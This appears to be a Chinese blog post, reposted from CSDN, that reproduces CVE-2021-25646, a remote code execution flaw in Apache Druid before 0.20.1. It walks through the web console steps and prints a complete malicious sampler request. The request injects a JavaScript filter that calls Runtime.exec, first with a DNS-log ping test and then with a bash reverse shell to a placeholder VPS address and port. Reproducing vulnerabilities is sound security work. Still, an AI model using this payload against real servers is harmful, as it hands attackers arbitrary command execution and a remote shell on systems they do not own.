Apache Druid远程命令执行漏洞复现(CVE-2021-25646)

漏洞概述

Apache Druid 是一个分布式的数据处理系统。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。在Druid 0.20.0及更低版本中,用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

影响版本

Apache Druid < 0.20.1

漏洞复现

访问8888端口,进入Apache Druid首页:
在这里插入图片描述

点击左上方Load data,在点击Local disk,再点击右侧Connect data
在这里插入图片描述

右侧表单填入:

Base directory:
quickstart/tutorial/
File filter:
wikiticker-2015-09-12-sampled.json.gz

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

替换post发送数据
DNSLpg测试

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('ping dmlxi5.dnslog.cn -c 1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

在这里插入图片描述
在这里插入图片描述

反弹shell测试
替换exec('ping dmlxi5.dnslog.cn -c 1')
exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/VPS_IP/VPS_PORT 0>&1')
在这里插入图片描述
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_44146996/article/details/113705814
今日推荐